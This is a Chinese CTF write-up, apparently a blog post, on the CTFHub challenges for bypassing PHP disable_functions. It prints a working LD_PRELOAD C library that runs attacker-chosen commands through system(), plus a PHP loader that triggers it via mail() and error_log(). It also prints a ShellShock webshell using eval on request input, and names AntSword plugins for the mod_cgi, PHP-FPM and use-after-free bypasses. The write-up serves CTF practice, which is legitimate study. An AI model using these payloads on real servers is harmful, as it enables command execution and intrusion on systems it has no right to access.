CTFhub Bypass disable_function

LD_PRELOAD

题目中有小马,直接蚁剑连接

mail函数,就是发送邮件。
简单的来说,我们这里的利用方式,就是利用mail函数发送邮件时,会用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。

题目环境给了readflag文件,所以直接调用即可

编写C文件:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

Linux命令将c文件转换为so文件,并在tmp上传

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

在tmp再上传一个php文件

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline); #设置环境变量

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    error_log("",1,"",""); #添加 error_log()
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

ShellShock

蚁剑连接,如果连接失败可以换一个编码器。

我们写入shell.php文件

通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。

error_log()函数会在执行sh -c -t -i触发payload

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
  error_log("admin",1);
?>

刷新目录生成test.php

得到flag

Apache Mod CGI

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

直接利用蚁剑的插件:

选择模式

最后查找flag就可以了

tac flag

PHP-FPM

插件选择 Fastcgi/PHP-FPM模式

FPM/FCGI 地址 localhost:9000 通讯地址我们选择本地的 (相当于他服务器的本地)

生成.antproxy.php

蚁剑连接

虚拟终端

GC UAF

蚁剑连接

直接蚁剑插件

老命令找到flag

Json Serializer UAF

蚁剑连接

老招数

Backtrace UAF

继续老招数就完事了

FFI 扩展

。。。。

iconv

跟前面类似

bypass iconv 1

。。。。跟上一关一摸一样

bypass iconv 2

与前面两种属于一种漏洞,依旧一样的方法

总结

这种关卡大部分需要蚁剑插件,插件真的能方便很多!!!

  • 11
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值